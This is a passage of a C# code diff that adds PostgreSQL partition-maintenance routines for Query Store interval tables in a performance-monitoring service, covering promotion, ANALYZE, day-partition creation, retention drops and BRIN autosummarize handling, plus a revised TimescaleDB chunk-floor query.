+                return new StepResult(StepOutcome.NotReady, "the legacy bound changed under the lock; the next pass decides");
+            }
+
+            var missing = new List<string>();
+            await using (var check = Command(connection, MissingLegacyChildSql, ShortTimeoutSeconds, transaction))
+            {
+                AddText(check, table.Parent);
+                AddText(check, table.Legacy);
+                await using var reader = await check.ExecuteReaderAsync(cancellationToken).ConfigureAwait(false);
+                while (await reader.ReadAsync(cancellationToken).ConfigureAwait(false))
+                {
+                    missing.Add(reader.GetString(0));
+                }
+            }
+
+            if (missing.Count > 0)
+            {
+                await transaction.RollbackAsync(cancellationToken).ConfigureAwait(false);
+                logger.LogWarning(
+                    "Query Store interval table {Table}: promotion refused and rolled back, because the parent index(es) {Indexes} have no valid "
+                    + "child on {Legacy}, and the re-attach would build them on its whole heap. The background index step attaches them; "
+                    + "promotion is tried again.",
+                    table.Parent, string.Join(", ", missing), table.Legacy);
+                return new StepResult(StepOutcome.Refused, "parent index without a legacy child: " + string.Join(", ", missing));
+            }
+
+            await ExecuteAsync(
+                connection, $"ALTER TABLE {table.Parent} DETACH PARTITION {table.Legacy};", ShortTimeoutSeconds, transaction, cancellationToken)
+                .ConfigureAwait(false);
+            await ExecuteAsync(
+                connection,
+                $"ALTER TABLE {table.Parent} ATTACH PARTITION {table.Legacy} FOR VALUES FROM (MINVALUE) TO ('{Literal(s)}');",
+                ShortTimeoutSeconds,
+                transaction,
+                cancellationToken).ConfigureAwait(false);
+
+            var days = PromotionDays(s, utcNow);
+            foreach (var day in days)
+            {
+                await ExecuteAsync(connection, CreateDaySql(table, day), ShortTimeoutSeconds, transaction, cancellationToken).ConfigureAwait(false);
+            }
+
+            await ExecuteAsync(connection, CreateDefaultSql(table), ShortTimeoutSeconds, transaction, cancellationToken).ConfigureAwait(false);
+
+            /* #5594: the day partitions and DEFAULT cloned the parent's BRIN index with its autosummarize option (on when V171
+               made the parent). The LOCK TABLE above holds every partition, so turning the whole family off waits for nothing. */
+            await QueryStoreIntervalBrin.TurnOffInTransactionAsync(connection, transaction, table.Parent, cancellationToken).ConfigureAwait(false);
+            await transaction.CommitAsync(cancellationToken).ConfigureAwait(false);
+            logger.LogInformation(
+                "Query Store interval table {Table}: promoted. {Legacy} is bounded below {Bound:O}; {Days} day partition(s) and DEFAULT created.",
+                table.Parent, table.Legacy, s, days.Count);
+            return new StepResult(StepOutcome.Done, $"promoted at {Literal(s)}", days.Count);
+        }
+        catch (PostgresException ex) when (IsLockTimeout(ex))
+        {
+            logger.LogWarning(
+                "Query Store interval table {Table}: promotion hit a lock timeout and rolled back; it is tried again.", table.Parent);
+            return new StepResult(StepOutcome.RetryLater, "lock timeout");
+        }
+    }
+
+    /// <summary>
+    /// ANALYZE of the parent. Autovacuum never analyzes a partitioned table, so the parent's statistics only exist when
+    /// this runs. In one transaction under a 5 s <c>lock_timeout</c> (a leaf held by an anti-wraparound vacuum or an index
+    /// build gives <see cref="StepOutcome.RetryLater"/>, not a wait). On PostgreSQL 18 and later it is
+    /// <c>ANALYZE ONLY parent</c>: the leaves are analyzed by autovacuum already, and without ONLY the statement
+    /// samples every leaf again, the 91 GB legacy table included (#5571 review M1). Never called from a convergence
+    /// step: it runs on the background loop and once after a promotion.
+    /// </summary>
+    public static async Task<StepResult> AnalyzeAsync(
+        NpgsqlConnection connection, IntervalTable table, ILogger logger, CancellationToken cancellationToken)
+    {
+        var state = await ReadStateAsync(connection, table, cancellationToken).ConfigureAwait(false);
+        if (!state.ParentIsPartitioned)
+        {
+            return new StepResult(StepOutcome.NotReady, $"{table.Parent} is not a partitioned table");
+        }
+
+        var started = System.Diagnostics.Stopwatch.StartNew();
+        try
+        {
+            await using var transaction = await connection.BeginTransactionAsync(cancellationToken).ConfigureAwait(false);
+            await ExecuteAsync(connection, LockTimeoutSql, ShortTimeoutSeconds, transaction, cancellationToken).ConfigureAwait(false);
+            await ExecuteAsync(
+                connection, AnalyzeSql(table, connection.PostgreSqlVersion.Major >= AnalyzeOnlyMajorVersion), AnalyzeTimeoutSeconds, transaction, cancellationToken)
+                .ConfigureAwait(false);
+            await transaction.CommitAsync(cancellationToken).ConfigureAwait(false);
+        }
+        catch (PostgresException ex) when (IsLockTimeout(ex))
+        {
+            logger.LogInformation(
+                "Query Store interval table {Table}: analyzing the parent hit a lock timeout; the next background pass retries.", table.Parent);
+            return new StepResult(StepOutcome.RetryLater, "lock timeout");
+        }
+
+        logger.LogInformation(
+            "Query Store interval table {Table}: analyzed the parent in {Seconds:F1}s.", table.Parent, started.Elapsed.TotalSeconds);
+        return new StepResult(StepOutcome.Done, "analyzed");
+    }
+
+    /// <summary>
+    /// The once-a-day ANALYZE, for promoted tables: runs <see cref="AnalyzeAsync"/> when the parent was last analyzed more
+    /// than <see cref="AnalyzeEvery"/> ago, or never. Not promoted is <see cref="StepOutcome.NotReady"/>.
+    /// </summary>
+    public static async Task<StepResult> AnalyzeIfDueAsync(
+        NpgsqlConnection connection, IntervalTable table, DateTime utcNow, ILogger logger, CancellationToken cancellationToken)
+    {
+        var state = await ReadStateAsync(connection, table, cancellationToken).ConfigureAwait(false);
+        if (!state.Promoted)
+        {
+            return new StepResult(StepOutcome.NotReady, $"{table.Parent} is not promoted yet");
+        }
+
+        bool due;
+        await using (var command = Command(
+            connection,
+            "SELECT COALESCE((SELECT s.last_analyze AT TIME ZONE 'UTC' FROM pg_stat_user_tables AS s WHERE s.relid = to_regclass($1)) < $2, true);",
+            ShortTimeoutSeconds))
+        {
+            AddText(command, table.Parent);
+            command.Parameters.Add(new NpgsqlParameter
+            {
+                NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp,
+                Value = DateTime.SpecifyKind(utcNow, DateTimeKind.Unspecified) - AnalyzeEvery,
+            });
+            due = (bool)(await command.ExecuteScalarAsync(cancellationToken).ConfigureAwait(false))!;
+        }
+
+        return due
+            ? await AnalyzeAsync(connection, table, logger, cancellationToken).ConfigureAwait(false)
+            : new StepResult(StepOutcome.NothingToDo, "analyzed within the last day");
+    }
+
+    /// <summary>
+    /// Phase A as one call, one pass of the background loop: arm (or re-arm a not-yet-valid CHECK that is close to S),
+    /// validate (never when S is closer than <see cref="ValidateGuard"/>), promote (a lock timeout is retried
+    /// <see cref="PromoteRetries"/> times, <see cref="PromoteRetryDelay"/> apart), and ANALYZE the parent only when this
+    /// call did the promotion (#5571 review L1). When the table is still not promoted and S is closer than
+    /// <see cref="ReArmWithin"/>, the CHECK is re-armed, valid or not. Stops at the first step that is not done and
+    /// returns it; the next pass of the loop continues from the catalogs' state.
+    /// </summary>
+    public static Task<StepResult> RunPromotionAsync(
+        NpgsqlConnection connection, IntervalTable table, DateTime utcNow, ILogger logger, CancellationToken cancellationToken) =>
+        RunPromotionAsync(connection, table, utcNow, logger, ArmRetryDelay, PromoteRetryDelay, cancellationToken);
+
+    internal static async Task<StepResult> RunPromotionAsync(
+        NpgsqlConnection connection,
+        IntervalTable table,
+        DateTime utcNow,
+        ILogger logger,
+        TimeSpan armRetryDelay,
+        TimeSpan promoteRetryDelay,
+        CancellationToken cancellationToken)
+    {
+        var arm = await ArmAsync(connection, table, utcNow, logger, armRetryDelay, cancellationToken).ConfigureAwait(false);
+        if (arm.Outcome is StepOutcome.RetryLater or StepOutcome.NotReady)
+        {
+            return arm;
+        }
+
+        var validate = await ValidateAsync(connection, table, utcNow, logger, cancellationToken).ConfigureAwait(false);
+        if (validate.Outcome is StepOutcome.RetryLater or StepOutcome.NotReady or StepOutcome.Refused or StepOutcome.ReArmFirst)
+        {
+            return validate;
+        }
+
+        StepResult promote = default;
+        for (var attempt = 0; attempt <= PromoteRetries; attempt++)
+        {
+            promote = await PromoteAsync(connection, table, utcNow, logger, cancellationToken).ConfigureAwait(false);
+            if (promote.Outcome != StepOutcome.RetryLater)
+            {
+                break;
+            }
+
+            if (attempt < PromoteRetries)
+            {
+                await Task.Delay(promoteRetryDelay, cancellationToken).ConfigureAwait(false);
+            }
+        }
+
+        if (promote.Outcome == StepOutcome.Done)
+        {
+            try
+            {
+                await AnalyzeAsync(connection, table, logger, cancellationToken).ConfigureAwait(false);
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                logger.LogWarning(
+                    "Query Store interval table {Table}: analyzing the parent after the promotion failed ({Message}); the daily ANALYZE retries.",
+                    table.Parent, ex.Message);
+            }
+
+            return promote;
+        }
+
+        if (promote.Outcome is StepOutcome.RetryLater or StepOutcome.Refused)
+        {
+            var current = await ReadStateAsync(connection, table, cancellationToken).ConfigureAwait(false);
+            if (!current.Promoted && current.CheckBound.HasValue && ShouldReArm(current.CheckBound.Value, utcNow))
+            {
+                await ArmCoreAsync(connection, table, utcNow, logger, armRetryDelay, 0, reArmValid: true, cancellationToken).ConfigureAwait(false);
+            }
+        }
+
+        return promote;
+    }
+
+    /// <summary>
+    /// Phase B, create-ahead. Creates every missing day from the newest partition's upper bound through today plus
+    /// <see cref="DaysAhead"/>. Each day is one transaction under a 5 s lock timeout: <c>CREATE TABLE ... (LIKE parent)</c>
+    /// with fillfactor 50, LOCK DEFAULT, move the day's rows out of DEFAULT into the new table (so the ATTACH's DEFAULT
+    /// scan finds none and the attach cannot fail), then ATTACH. Any DEFAULT row is logged at Warning. Only after
+    /// promotion; before it the result is <see cref="StepOutcome.NotReady"/>. Count is the days created.
+    /// </summary>
+    public static async Task<StepResult> CreateAheadAsync(
+        NpgsqlConnection connection, IntervalTable table, DateTime utcNow, ILogger logger, CancellationToken cancellationToken)
+    {
+        var state = await ReadStateAsync(connection, table, cancellationToken).ConfigureAwait(false);
+        if (!state.Promoted)
+        {
+            return new StepResult(StepOutcome.NotReady, $"{table.Parent} is not promoted yet");
+        }
+
+        var partitions = await ReadPartitionsAsync(connection, table, cancellationToken).ConfigureAwait(false);
+        var existing = new HashSet<string>(partitions.Select(p => p.Name), StringComparer.Ordinal);
+        var created = 0;
+        var drainedTotal = 0;
+        foreach (var day in CreateAheadDays(NewestUpper(partitions), utcNow, table.HorizonDays))
+        {
+            var name = table.DayPartition(day);
+            if (existing.Contains(name))
+            {
+                continue;
+            }
+
+            try
+            {
+                await using var transaction = await connection.BeginTransactionAsync(cancellationToken).ConfigureAwait(false);
+                await ExecuteAsync(connection, LockTimeoutSql, ShortTimeoutSeconds, transaction, cancellationToken).ConfigureAwait(false);
+                await ExecuteAsync(
+                    connection,
+                    $"CREATE TABLE {name} (LIKE {table.Parent} INCLUDING DEFAULTS) WITH (fillfactor = 50);",
+                    ShortTimeoutSeconds,
+                    transaction,
+                    cancellationToken).ConfigureAwait(false);
+
+                var drained = 0;
+                if (state.DefaultExists)
+                {
+                    await ExecuteAsync(
+                        connection, $"LOCK TABLE {table.Default} IN ACCESS EXCLUSIVE MODE;", ShortTimeoutSeconds, transaction, cancellationToken)
+                        .ConfigureAwait(false);
+                    await using var drain = Command(
+                        connection,
+                        $"WITH moved AS (DELETE FROM {table.Default} WHERE first_execution_time >= '{Literal(day)}'::timestamp "
+                        + $"AND first_execution_time < '{Literal(day.AddDays(1))}'::timestamp RETURNING *) "
+                        + $"INSERT INTO {name} SELECT * FROM moved;",
+                        DrainTimeoutSeconds,
+                        transaction);
+                    drained = await drain.ExecuteNonQueryAsync(cancellationToken).ConfigureAwait(false);
+                }
+
+                await ExecuteAsync(
+                    connection,
+                    $"ALTER TABLE {table.Parent} ATTACH PARTITION {name} FOR VALUES FROM ('{Literal(day)}') TO ('{Literal(day.AddDays(1))}');",
+                    ShortTimeoutSeconds,
+                    transaction,
+                    cancellationToken).ConfigureAwait(false);
+
+                /* #5594: the attach cloned the parent's BRIN index with the parent's autosummarize, which is on when V171 made
+                   the parent. The partitioned parent index cannot be altered, so the new leaf's copy is turned off here, in the
+                   transaction that makes it, while nothing else can hold it. */
+                await QueryStoreIntervalBrin.TurnOffInTransactionAsync(connection, transaction, name, cancellationToken).ConfigureAwait(false);
+                await transaction.CommitAsync(cancellationToken).ConfigureAwait(false);
+                created++;
+                drainedTotal += drained;
+                if (drained > 0)
+                {
+                    logger.LogWarning(
+                        "Query Store interval table {Table}: moved {Rows} row(s) for {Day:yyyy-MM-dd} out of DEFAULT into {Partition}. "
+                        + "Rows only reach DEFAULT when the clock is more than {DaysAhead} days ahead of the store or this step stalled.",
+                        table.Parent, drained, day, name, DaysAhead);
+                }
+            }
+            catch (PostgresException ex) when (IsLockTimeout(ex))
+            {
+                logger.LogWarning(
+                    "Query Store interval table {Table}: creating {Partition} hit a lock timeout and rolled back; the next pass retries.",
+                    table.Parent, name);
+                return new StepResult(StepOutcome.RetryLater, "lock timeout", created);
+            }
+        }
+
+        if (state.DefaultExists)
+        {
+            await ReportDefaultRowsAsync(connection, table, logger, cancellationToken).ConfigureAwait(false);
+        }
+
+        return created > 0
+            ? new StepResult(StepOutcome.Done, $"created {created} day partition(s), drained {drainedTotal} row(s)", created)
+            : new StepResult(StepOutcome.NothingToDo, "the days ahead already exist", 0);
+    }
+
+    private static async Task ReportDefaultRowsAsync(
+        NpgsqlConnection connection, IntervalTable table, ILogger logger, CancellationToken cancellationToken)
+    {
+        await using var command = Command(
+            connection, $"SELECT count(*) FROM (SELECT 1 FROM {table.Default} LIMIT 1000) AS d;", ShortTimeoutSeconds);
+        var rows = Convert.ToInt64(await command.ExecuteScalarAsync(cancellationToken).ConfigureAwait(false), CultureInfo.InvariantCulture);
+        if (rows > 0)
+        {
+            logger.LogWarning(
+                "Query Store interval table {Table}: DEFAULT holds {Rows}{More} row(s). They are outside the day partitions "
+                + "(a monitored clock far from the store's, or a stalled maintenance step); retention deletes them once they expire.",
+                table.Parent, rows, rows >= 1000 ? "+" : string.Empty);
+        }
+    }
+
+    /// <summary>
+    /// Retention for the partitions: drops every bounded partition whose upper bound is at or before
+    /// <c>utcNow - HorizonDays</c> (a whole expired day, and the legacy table once S is at or before the cutoff), oldest
+    /// first, each in its own transaction under a 5 s lock timeout. A day that straddles the cutoff is kept until the whole
+    /// day has expired. A lock timeout stops the pass with <see cref="StepOutcome.RetryLater"/> (not an error); the rest
+    /// waits for the next pass. Only after promotion. Count is the partitions dropped.
+    /// </summary>
+    public static async Task<StepResult> DropExpiredAsync(
+        NpgsqlConnection connection, IntervalTable table, DateTime utcNow, ILogger logger, CancellationToken cancellationToken)
+    {
+        var state = await ReadStateAsync(connection, table, cancellationToken).ConfigureAwait(false);
+        if (!state.Promoted)
+        {
+            return new StepResult(StepOutcome.NotReady, $"{table.Parent} is not promoted yet");
+        }
+
+        var partitions = await ReadPartitionsAsync(connection, table, cancellationToken).ConfigureAwait(false);
+        var dropped = 0;
+        foreach (var partition in ExpiredPartitions(partitions, Cutoff(utcNow, table.HorizonDays)))
+        {
+            try
+            {
+                await using var transaction = await connection.BeginTransactionAsync(cancellationToken).ConfigureAwait(false);
+                await ExecuteAsync(connection, LockTimeoutSql, ShortTimeoutSeconds, transaction, cancellationToken).ConfigureAwait(false);
+                await ExecuteAsync(connection, $"DROP TABLE IF EXISTS {partition.Name};", ShortTimeoutSeconds, transaction, cancellationToken).ConfigureAwait(false);
+                await transaction.CommitAsync(cancellationToken).ConfigureAwait(false);
+                dropped++;
+                logger.LogInformation(
+                    "Query Store interval table {Table}: dropped expired partition {Partition} (upper bound {Upper:O}).",
+                    table.Parent, partition.Name, partition.Upper);
+            }
+            catch (PostgresException ex) when (IsLockTimeout(ex))
+            {
+                logger.LogInformation(
+                    "Query Store interval table {Table}: dropping {Partition} hit a lock timeout; the next pass retries.",
+                    table.Parent, partition.Name);
+                return new StepResult(StepOutcome.RetryLater, "lock timeout", dropped);
+            }
+        }
+
+        return dropped > 0
+            ? new StepResult(StepOutcome.Done, $"dropped {dropped} partition(s)", dropped)
+            : new StepResult(StepOutcome.NothingToDo, "no partition has fully expired", 0);
+    }
+
+    /// <summary>
+    /// Phase B as one call, for the start step and the hourly pass: converge a table that is not promoted yet
+    /// (<see cref="ConvergeUnpromotedAsync"/>), then create-ahead and drop-expired. Returns the create-ahead result unless
+    /// it was not done, then the drop's; a convergence that changed something adds to the count.
+    /// </summary>
+    public static async Task<StepResult> RunMaintenanceAsync(
+        NpgsqlConnection connection, IntervalTable table, DateTime utcNow, ILogger logger, CancellationToken cancellationToken)
+    {
+        var converge = await ConvergeUnpromotedAsync(connection, table, utcNow, logger, cancellationToken).ConfigureAwait(false);
+        var ahead = await CreateAheadAsync(connection, table, utcNow, logger, cancellationToken).ConfigureAwait(false);
+        if (ahead.Outcome == StepOutcome.NotReady)
+        {
+            return converge.Outcome == StepOutcome.NotReady ? ahead : converge;
+        }
+
+        var drop = await DropExpiredAsync(connection, table, utcNow, logger, cancellationToken).ConfigureAwait(false);
+
+        /* A pass that created days AND dropped days reports both counts, so the hourly "changed" tally is not short by
+           the drops (#5571). */
+        var result = ahead.Outcome == StepOutcome.Done ? ahead with { Count = ahead.Count + drop.Count } : drop;
+        return converge.Outcome == StepOutcome.Done
+            ? new StepResult(StepOutcome.Done, converge.Detail + "; " + result.Detail, Math.Max(converge.Count, 1) + (result.Outcome == StepOutcome.Done ? result.Count : 0))
+            : result;
+    }
+
+    /// <summary>What one <see cref="RunMaintenancePassAsync"/> did: partitions created or dropped, and tables whose step failed.</summary>
+    public readonly record struct PassResult(int Changed, int Failed);
+
+    /// <summary>
+    /// The hourly step (#5571): for each table, in order, <see cref="RunMaintenanceAsync"/> (converge a table that is not
+    /// promoted: arm, one promote of a valid CHECK, re-arm before S; then create ahead with the DEFAULT drain, then drop
+    /// expired days and the legacy table once it is bounded below the cutoff). It never validates and never ANALYZEs: both
+    /// run on the background loop, off the sweep loop (#5571 review H1, M1). One table's failure is logged and counted and
+    /// never stops the other table; a lock timeout (55P03) is <see cref="StepOutcome.RetryLater"/>, already logged once by
+    /// the step, and is not a failure. If a failure closed the connection it is reopened for the next table. Shutdown
+    /// (cancellation) propagates.
+    /// </summary>
+    public static Task<PassResult> RunMaintenancePassAsync(
+        NpgsqlConnection connection, DateTime utcNow, ILogger logger, CancellationToken cancellationToken) =>
+        RunMaintenancePassAsync(connection, All, utcNow, logger, cancellationToken);
+
+    internal static async Task<PassResult> RunMaintenancePassAsync(
+        NpgsqlConnection connection,
+        IReadOnlyList<IntervalTable> tables,
+        DateTime utcNow,
+        ILogger logger,
+        CancellationToken cancellationToken)
+    {
+        var changed = 0;
+        var failed = 0;
+        foreach (var table in tables)
+        {
+            /* #5594: first, before any partition work, so the cancel loop ends even when the rest of the pass finds nothing to
+               do or fails. Its own catch: a BRIN step that cannot run (a lock, a permission) is counted as a failure but never
+               stops the table's partitions from being maintained. */
+            try
+            {
+                var brin = await QueryStoreIntervalBrin.TurnOffAutosummarizeAsync(connection, table, logger, cancellationToken).ConfigureAwait(false);
+
+                /* RetryLater still altered the indexes it got to (a lock timeout or a skipped index does not undo the others). */
+                if (brin.Outcome is StepOutcome.Done or StepOutcome.RetryLater)
+                {
+                    changed += brin.Count;
+                }
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                failed++;
+                logger.LogWarning(
+                    "Query Store interval table {Table}: turning BRIN autosummarize off failed ({Message}); the partitions are still maintained and the next pass retries.",
+                    table.Parent, ex.Message);
+                await ReopenAsync(connection, logger, cancellationToken).ConfigureAwait(false);
+            }
+
+            try
+            {
+                var result = await RunMaintenanceAsync(connection, table, utcNow, logger, cancellationToken).ConfigureAwait(false);
+                if (result.Outcome == StepOutcome.Done)
+                {
+                    changed += result.Count;
+                }
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                failed++;
+                logger.LogWarning(
+                    "Query Store interval table {Table}: partition maintenance failed ({Message}); the other table still runs and the next pass retries.",
+                    table.Parent, ex.Message);
+
+                await ReopenAsync(connection, logger, cancellationToken).ConfigureAwait(false);
+            }
+        }
+
+        return new PassResult(changed, failed);
+    }
+
+    /* A failure that closed the connection leaves the next table (and the next step) nothing to run on, so it is reopened. */
+    private static async Task ReopenAsync(NpgsqlConnection connection, ILogger logger, CancellationToken cancellationToken)
+    {
+        if (connection.State == System.Data.ConnectionState.Open)
+        {
+            return;
+        }
+
+        try
+        {
+            await connection.CloseAsync().ConfigureAwait(false);
+            await connection.OpenAsync(cancellationToken).ConfigureAwait(false);
+        }
+        catch (Exception reopen) when (reopen is not OperationCanceledException)
+        {
+            logger.LogWarning("Query Store interval partition maintenance could not reopen its connection: {Message}", reopen.Message);
+        }
+    }
+
+    /// <summary>
+    /// The background task (#5571), launched at start, never awaited on the startup path and never throwing: wait
+    /// <paramref name="delay"/>, then loop until shutdown, every <see cref="BackgroundInterval"/>: Phase A for each table
+    /// that is not promoted (arm, validate, promote; each table on its own connection, one table's failure never stops the
+    /// other), then, on the first pass and after any refusal, the Query Store index ensures
+    /// (<see cref="QueryStoreBackgroundIndexes.RunDelayedAsync(NpgsqlDataSource, ILogger, TimeSpan, IReadOnlyList{QueryStoreBackgroundIndexes.IndexSpec}, CancellationToken)"/>)
+    /// and promotion again for any table whose promotion was <see cref="StepOutcome.Refused"/> (a parent index had no
+    /// legacy child, which the index ensure has just built), then the once-a-day ANALYZE of each promoted parent. The
+    /// VALIDATE and a concurrent <c>CREATE INDEX CONCURRENTLY</c> on the legacy table conflict, so the indexes wait for
+    /// Phase A. The loop is serial, so one VALIDATE runs at a time per table, and none of it ever runs inside a
+    /// convergence step's budget (#5571 review H1, M1).
+    /// </summary>
+    public static Task RunDelayedAsync(
+        NpgsqlDataSource postgres,
+        ILogger logger,
+        TimeSpan delay,
+        IReadOnlyList<QueryStoreBackgroundIndexes.IndexSpec> specs,
+        CancellationToken cancellationToken) =>
+        RunDelayedAsync(
+            logger,
+            delay,
+            BackgroundInterval,
+            All,
+            async (table, token) =>
+            {
+                await using var connection = await postgres.OpenConnectionAsync(token).ConfigureAwait(false);
+                return await RunPromotionAsync(connection, table, DateTime.UtcNow, logger, token).ConfigureAwait(false);
+            },
+            async (table, token) =>
+            {
+                await using var connection = await postgres.OpenConnectionAsync(token).ConfigureAwait(false);
+                return await AnalyzeIfDueAsync(connection, table, DateTime.UtcNow, logger, token).ConfigureAwait(false);
+            },
+            token => QueryStoreBackgroundIndexes.RunDelayedAsync(postgres, logger, TimeSpan.Zero, specs, token),
+            cancellationToken,
+            async (table, token) =>
+            {
+                await using var connection = await postgres.OpenConnectionAsync(token).ConfigureAwait(false);
+                return await QueryStoreIntervalBrin.SummarizeNewRangesAsync(connection, table, logger, token).ConfigureAwait(false);
+            });
+
+    /// <summary><see cref="RunDelayedAsync(NpgsqlDataSource, ILogger, TimeSpan, IReadOnlyList{QueryStoreBackgroundIndexes.IndexSpec}, CancellationToken)"/> with the three actions injected, so the order, the repetition and the isolation run without a store.</summary>
+    internal static async Task RunDelayedAsync(
+        ILogger logger,
+        TimeSpan delay,
+        TimeSpan interval,
+        IReadOnlyList<IntervalTable> tables,
+        Func<IntervalTable, CancellationToken, Task<StepResult>> promote,
+        Func<IntervalTable, CancellationToken, Task<StepResult>> analyze,
+        Func<CancellationToken, Task> ensureIndexes,
+        CancellationToken cancellationToken,
+        Func<IntervalTable, CancellationToken, Task<StepResult>>? summarize = null)
+    {
+        try
+        {
+            await Task.Delay(delay, cancellationToken).ConfigureAwait(false);
+
+            var indexesEnsured = false;
+            for (var pass = 0; ; pass++)
+            {
+                var quiet = pass > 0;
+                var refused = new List<IntervalTable>();
+                foreach (var table in tables)
+                {
+                    if (await TryStepAsync(logger, table, "promotion", promote, quiet, cancellationToken).ConfigureAwait(false) == StepOutcome.Refused)
+                    {
+                        refused.Add(table);
+                    }
+                }
+
+                if (!indexesEnsured || refused.Count > 0)
+                {
+                    try
+                    {
+                        await ensureIndexes(cancellationToken).ConfigureAwait(false);
+                        indexesEnsured = true;
+                    }
+                    catch (Exception ex) when (!cancellationToken.IsCancellationRequested)
+                    {
+                        logger.LogWarning("Query Store index ensure failed after the partition steps: {Message}", ex.Message);
+                    }
+                }
+
+                foreach (var table in refused)
+                {
+                    await TryStepAsync(logger, table, "promotion", promote, quiet, cancellationToken).ConfigureAwait(false);
+                }
+
+                foreach (var table in tables)
+                {
+                    await TryStepAsync(logger, table, "analyze", analyze, quiet: true, cancellationToken).ConfigureAwait(false);
+                }
+
+                /* #5594: the BRIN indexes are summarized here, hourly, because autosummarize is off and a VACUUM only summarizes
+                   when it finishes. Never the waiter that cancels an autovacuum (see QueryStoreIntervalBrin). */
+                if (summarize is not null)
+                {
+                    foreach (var table in tables)
+                    {
+                        await TryStepAsync(logger, table, "BRIN summarize", summarize, quiet: true, cancellationToken).ConfigureAwait(false);
+                    }
+                }
+
+                await Task.Delay(interval, cancellationToken).ConfigureAwait(false);
+            }
+        }
+        catch (OperationCanceledException)
+        {
+            logger.LogInformation("Query Store interval partition background task was cancelled at shutdown; the next start continues from the catalogs' state.");
+        }
+        catch (Exception ex)
+        {
+            logger.LogInformation(
+                "Query Store interval partition background task stopped at shutdown: {ExceptionType}: {Message}; the next start continues.",
+                ex.GetType().Name, ex.Message);
+        }
+    }
+
+    private static async Task<StepOutcome?> TryStepAsync(
+        ILogger logger,
+        IntervalTable table,
+        string what,
+        Func<IntervalTable, CancellationToken, Task<StepResult>> step,
+        bool quiet,
+        CancellationToken cancellationToken)
+    {
+        try
+        {
+            var result = await step(table, cancellationToken).ConfigureAwait(false);
+            var level = quiet && result.Outcome is StepOutcome.NothingToDo or StepOutcome.NotReady ? LogLevel.Debug : LogLevel.Information;
+            logger.Log(
+                level, "Query Store interval table {Table}: {Step} step ended {Outcome} ({Detail}).", table.Parent, what, result.Outcome, result.Detail);
+            return result.Outcome;
+        }
+        catch (Exception ex) when (!cancellationToken.IsCancellationRequested)
+        {
+            logger.LogWarning(
+                "Query Store interval table {Table}: the {Step} step failed ({Message}); the other table still runs and the background task tries again in an hour.",
+                table.Parent, what, ex.Message);
+            return null;
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWide.cs b/Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWide.cs
index aede32d41d..82cc5c0ab6 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWide.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWide.cs
@@ -409,9 +409,13 @@ RETURNING 1
        by offset, before touching this. */
     /* The clamp (ClampedStart) is the read's lower bound AT and ABOVE raw's chunk floor. Below that floor the
        table is the only record left, and ResolveReadAsync extends the bound down to
-       ExactBelowFloorStart = max(window start, filled_since, table floor + one day) and no further: those are the
+       ExactBelowFloorStart = max(window start, filled_since, table floor + PurgeEdgeMargin (26 h)) and no further: those are the
        three bounds under which the table provably holds what raw held before its purge.
-       There is no per-server probe on this table: its only secondary index leads with first_execution_time. */
+       There is no per-server probe on this table: of its two secondary btrees, idx_query_store_interval_wide_first_exec
+       leads with first_execution_time, and the wide btree on (server_id, first_execution_time) (#4952,
+       QueryStoreBackgroundIndexes.WideServerFirstExec) leads with server_id but is built in the background by the
+       service, not by a migration, so a store can lack it. The per-server reads' bound on first_execution_time is
+       served by that wide btree where it exists. */
 
     /// <summary>
     /// This table's store-shape inputs for one server: its coverage row's <c>filled_since</c> and
@@ -437,38 +441,28 @@ LEFT JOIN collect.query_store_interval_wide_coverage AS c
   ON c.server_id = $1;";
 
     /// <summary>
-    /// The floors, from TimescaleDB's catalog (metadata, never a scan), exactly as
-    /// <see cref="QueryStoreIntervalLatest.ChunkFloorsSql"/>: raw's oldest chunk, and this table's when
-    /// TimescaleDB's catalog carries it as a hypertable. It does not today — this table is engine-plain, per its
-    /// migration's own comment — so the <c>table_is_hypertable</c> arm is defensive, matching V143's.
+    /// Raw's floor, from TimescaleDB's catalog (metadata, never a scan), exactly as
+    /// <see cref="QueryStoreIntervalLatest.RawChunkFloorSql"/>: raw's oldest chunk (NULL when raw is not a
+    /// hypertable). This table's floor is never read from the catalog (#5541): the table is engine-plain, per its
+    /// migration's own comment, and retention purges it with a row-capped DELETE (#5569) that leaves emptied chunks
+    /// listed, so a catalog floor would sit far below the real one and move the rule toward the table.
     /// </summary>
-    public const string ChunkFloorsSql = @"
+    public const string RawChunkFloorSql = @"
 SELECT
-    (
-        SELECT
-            MIN(ch.range_start) AT TIME ZONE 'UTC'
-        FROM timescaledb_information.chunks AS ch
-        WHERE ch.hypertable_schema = 'collect'
-        AND   ch.hypertable_name = 'query_store_stats'
-    ) AS raw_floor,
-    EXISTS
-    (
-        SELECT
-            1
-        FROM timescaledb_information.hypertables AS h
-        WHERE h.hypertable_schema = 'collect'
-        AND   h.hypertable_name = 'query_store_interval_wide'
-    ) AS table_is_hypertable,
-    (
-        SELECT
-            MIN(ch.range_start) AT TIME ZONE 'UTC'
-        FROM timescaledb_information.chunks AS ch
-        WHERE ch.hypertable_schema = 'collect'
-        AND   ch.hypertable_name = 'query_store_interval_wide'
-    ) AS table_floor;";
-
-    /// <summary>The table's floor for one server where the table is a plain heap (today, always): its oldest
-    /// interval.</summary>
+    MIN(ch.range_start) AT TIME ZONE 'UTC' AS raw_floor
+FROM timescaledb_information.chunks AS ch
+WHERE ch.hypertable_schema = 'collect'
+AND   ch.hypertable_name = 'query_store_stats';";
+
+    /// <summary>The table's floor <c>H</c> for one server: its oldest interval. Always this read (#5541): the purge
+    /// deletes oldest first on <c>first_execution_time</c>, so every deleted row is below the remaining minimum.
+    /// <b>Cost after a drain (#5581):</b> the table is partitioned by day since #5571, so this MIN runs over each
+    /// partition's index. The dead entries are in the legacy table and the DEFAULT partition, the only places rows
+    /// are deleted one by one (a whole expired day is dropped, indexes and all). Right after a large row delete
+    /// the read makes a heap fetch for every dead entry vacuum has not removed and no read has marked yet (19.6 s
+    /// and 854,535 fetches for one server on a large store, 15 ms on the re-run). The retention pass runs this
